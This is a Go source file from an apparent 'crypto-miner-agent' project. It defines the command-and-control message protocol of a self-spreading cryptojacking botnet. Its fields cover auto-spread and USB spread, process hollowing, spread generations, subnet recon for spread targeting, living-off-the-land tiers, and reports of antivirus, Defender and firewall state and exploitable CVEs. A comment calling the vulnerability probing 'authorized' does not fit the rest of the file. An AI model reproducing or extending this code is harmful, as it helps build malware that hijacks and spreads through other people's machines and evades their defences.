package client import ( "encoding/json" "crypto-miner-agent/deploy" ) type Message struct { Type string `json:"type"` Payload json.RawMessage `json:"payload"` } // BackupPoolEntry is a fallback pool sent by the agent in its auth message. type BackupPoolEntry struct { Host string `json:"host"` Port int `json:"port"` TLS bool `json:"pool_tls"` Pass string `json:"pass"` } type AuthPayload struct { AgentID string `json:"agent_id"` FleetSecret string `json:"fleet_secret"` Wallet string `json:"wallet"` BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"` Version string `json:"version"` Hostname string `json:"hostname"` CPUCores int `json:"cpu_cores"` MemoryGB int `json:"memory_gb"` Worker string `json:"worker_name"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` Platform string `json:"platform"` Arch string `json:"arch"` OSVersion string `json:"os_version"` MacAddress string `json:"mac_address,omitempty"` BuildID string `json:"build_id,omitempty"` USBSpread bool `json:"usb_spread,omitempty"` Campaign string `json:"campaign,omitempty"` UTM string `json:"utm,omitempty"` LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"` LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"` JoinLane string `json:"join_lane,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"` } type AuthResponse struct { Success bool `json:"success"` AgentID string `json:"agent_id"` Error string `json:"error"` LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"` TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"` AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"` SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"` AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"` SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"` SubnetReconEnabled bool `json:"subnet_recon_enabled,omitempty"` SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"` SubnetFleetIPs []string `json:"subnet_fleet_ips,omitempty"` InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"` FleetRoleHint string `json:"fleet_role_hint,omitempty"` LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"` SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"` GraftPolicy json.RawMessage `json:"graft_policy,omitempty"` EpidemiologyFix json.RawMessage `json:"epidemiology_fix,omitempty"` MiningSelfSurgery json.RawMessage `json:"mining_self_surgery,omitempty"` ContingencyPolicy json.RawMessage `json:"contingency_policy,omitempty"` } type SharePayload struct { JobID string `json:"job_id"` Nonce string `json:"nonce"` Hash string `json:"hash"` Worker string `json:"worker_name"` } // MethodFailurePayload mirrors miner.MethodFailure in stats JSON. type MethodFailurePayload struct { Method string `json:"method"` Reason string `json:"reason"` At string `json:"at"` } type StatsPayload struct { Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` Hashrate15m float64 `json:"hashrate_15m"` SharesSubmitted int `json:"shares_submitted"` SharesAccepted int `json:"shares_accepted"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` // DNS config (T1016 — drift detected server-side) DNSServers []string `json:"dns_servers,omitempty"` DNSSearchDomains []string `json:"dns_search_domains,omitempty"` // Listen ports count (full list via listen_ports command) ListenPortCount *int `json:"listen_port_count,omitempty"` // Resource pressure (mining-specific runtime telemetry) CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` CPUThrottle *bool `json:"cpu_throttle,omitempty"` CPUTempC *int `json:"cpu_temp_c,omitempty"` DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` DiskFreePct *int `json:"disk_free_pct,omitempty"` GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` // GPU / Ravencoin mining stats GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"` GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` GPUModel string `json:"gpu_model,omitempty"` // SSH + posture SSHAvailable *bool `json:"ssh_available,omitempty"` PostureScore *int `json:"posture_score,omitempty"` DefenderEnabled *bool `json:"defender_enabled,omitempty"` DefenderRTP *bool `json:"defender_rtp,omitempty"` AVProducts []string `json:"av_products,omitempty"` FirewallDomain *bool `json:"firewall_domain,omitempty"` FirewallPrivate *bool `json:"firewall_private,omitempty"` FirewallPublic *bool `json:"firewall_public,omitempty"` LastPatchDays *int `json:"last_patch_days,omitempty"` LastPatch *string `json:"last_patch,omitempty"` PendingUpdates *int `json:"pending_updates,omitempty"` RebootPending *bool `json:"reboot_pending,omitempty"` AgentElevated *bool `json:"agent_elevated,omitempty"` Services []ServiceStatus `json:"services,omitempty"` // Mining fallback cascade (container → in-process → GPU → Stratum) ActiveMethod string `json:"active_method,omitempty"` FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"` MiningLastError string `json:"last_error,omitempty"` ChainOrder []string `json:"chain_order,omitempty"` StratumOverlay bool `json:"stratum_overlay,omitempty"` ChainExhausted bool `json:"chain_exhausted,omitempty"` // Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat) MiningHashrate float64 `json:"mining_hashrate,omitempty"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"` AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none JoinLane string `json:"join_lane,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` ContingencyDepth int `json:"contingency_depth,omitempty"` // Fleet role split telemetry (stats WS). FleetRole string `json:"fleet_role,omitempty"` SeedPressure float64 `json:"seed_pressure,omitempty"` HashratePressure float64 `json:"hashrate_pressure,omitempty"` // Passive LAN/domain recon for spread targeting and Path Tracer graph hints. NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"` // Authorized fleet vulnerability recon (read-only LOTL probe tier) VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"` VulnRiskScore *int `json:"vuln_risk_score,omitempty"` } // VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON. type VulnFindingPayload struct { CVEID string `json:"cve_id"` Severity string `json:"severity"` Component string `json:"component"` Patched bool `json:"patched"` ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` Detail string `json:"detail,omitempty"` } // TierAttemptPayload mirrors miner.TierAttempt in stats JSON. type TierAttemptPayload struct { Phase string `json:"phase,omitempty"` Tier string `json:"tier"` OK bool `json:"ok"` Error string `json:"error,omitempty"` DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet,omitempty"` } type ShareResult struct { JobID string `json:"job_id"` Accepted bool `json:"accepted"` Error string `json:"error"` }